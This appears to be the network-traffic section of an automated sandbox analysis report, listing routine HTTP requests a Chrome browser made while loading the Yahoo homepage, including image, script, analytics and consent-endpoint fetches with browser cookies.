Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/qEbq1mD293sfBSM0hh9GaQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/851b4400-04d0-11ef-87f7-96750d986e06.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/I_CWQDhNbfRywZcHGDk5jA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/ZIWiYPSpTqkV1ID50tQY3g--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/7868482ad7432882868004637e3628f8.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /version/6.4.1/cmp.js HTTP/1.1Host: consent.cmp.oath.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/UBMooNKKCIrVBSrb.DltNg--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/cd405030-049f-11ef-9c1f-972b114593c0.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/ONe9Ngr.AKVsKd88e7UP.Q--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/qEbq1mD293sfBSM0hh9GaQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/851b4400-04d0-11ef-87f7-96750d986e06.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/I_CWQDhNbfRywZcHGDk5jA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/PJdo7utph8z9acJAz2ZC0g--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/582532c0-04d6-11ef-bc7b-7987492849bc.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oa/consent.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/scp/js/fpDesktop.2e8440661542e9dfceb3228f597ec875.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/analytics-3.54.1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-core-1.65.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/hp-viewer/desktop_1.11.171.modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/benji/benji-2.1.31.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uc/sf/0.1.360/js/safe.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-caas-1.36.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/ZIWiYPSpTqkV1ID50tQY3g--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/7868482ad7432882868004637e3628f8.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/GYWgpG844cdsv4JJfKMGEw--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/3d089b898ea7ad8da5d544de2d15a0d8.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/ONe9Ngr.AKVsKd88e7UP.Q--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/UBMooNKKCIrVBSrb.DltNg--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/cd405030-049f-11ef-9c1f-972b114593c0.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__rapid-worker-1.2.js HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/performance?ybar-init_0=0.7999999999883585&ybar-mod-sidenav_0=2.5&ybar-mod-logo_0=0.09999999997671694&ybar-mod-searchbox_0=0.6000000000058208&ybar-mod-assistjs_0=3.7000000000116415&ybar-mod-adaptivenav_0=0.20000000001164153&ybar-account-init_0=1.7999999999883585&ybar-mail-init_0=2.6000000000058208&ybar-mod-navigation_0=11.60000000000582&ybar-mod-notification_0=0.20000000001164153&src=ybar&_rdn=708780&apptype=default&rid=1sbetl5j2qvpa&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-video-3.1.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus.js HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-rapid-1.10.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
